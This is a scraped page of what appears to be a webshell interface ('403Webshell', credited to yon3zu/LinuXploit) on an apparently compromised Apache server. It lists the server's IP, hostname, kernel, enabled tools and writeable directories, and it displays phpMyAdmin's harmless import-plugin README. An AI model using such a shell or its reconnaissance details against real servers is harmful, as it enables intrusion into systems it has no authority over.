403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin/libraries/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpMyAdmin/libraries/import/README
This directory holds import plugins for phpMyAdmin. Plugin should
basically look like following code. Official plugins need to have str*
messages with their definition in language files, if you build some
plugins for your use, you can use directly texts in plugin.

<?php
/* $Id$ */
// vim: expandtab sw=4 ts=4 sts=4 ft=php:

/* Demo import plugin for phpMyAdmin */

if (isset($plugin_list)) {
    $plugin_list['name'] = array(           // set name of your plugin
        'text' => 'strName',                // text to be displayed as choice
        'extension' => '',                  // extension this plugin can handle
        'options' => array(                 // array of options for your plugin (optional)
            array('type' => '', 'name' => '', 'text' => ''), // type: bool or text, name: form element name, text: description in GUI, size: size of text element (optional). len: maximal size of input (optional)
        ),
        'options_text' => 'strNameImportOptions', // text to describe plugin options (must be set if options are used)
        );
} else {
/* We do not define function when plugin is just queried for information above */
    $buffer = '';
    while (!($finished && $i >= $len) && !$error && !$timeout_passed) {
        $data = PMA_importGetNextChunk();
        if ($data === FALSE) {
            // subtract data we didn't handle yet and stop processing
            $offset -= strlen($buffer);
            break;
        } elseif ($data === TRUE) {
            // Handle rest of buffer
        } else {
            // Append new data to buffer
            $buffer .= $data;
        }
        // PARSE $buffer here, post sql queries using:
        PMA_importRunQuery($sql, $verbose_sql_with_comments);
    } // End of import loop
    // Commit any possible data in buffers
    PMA_importRunQuery();
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit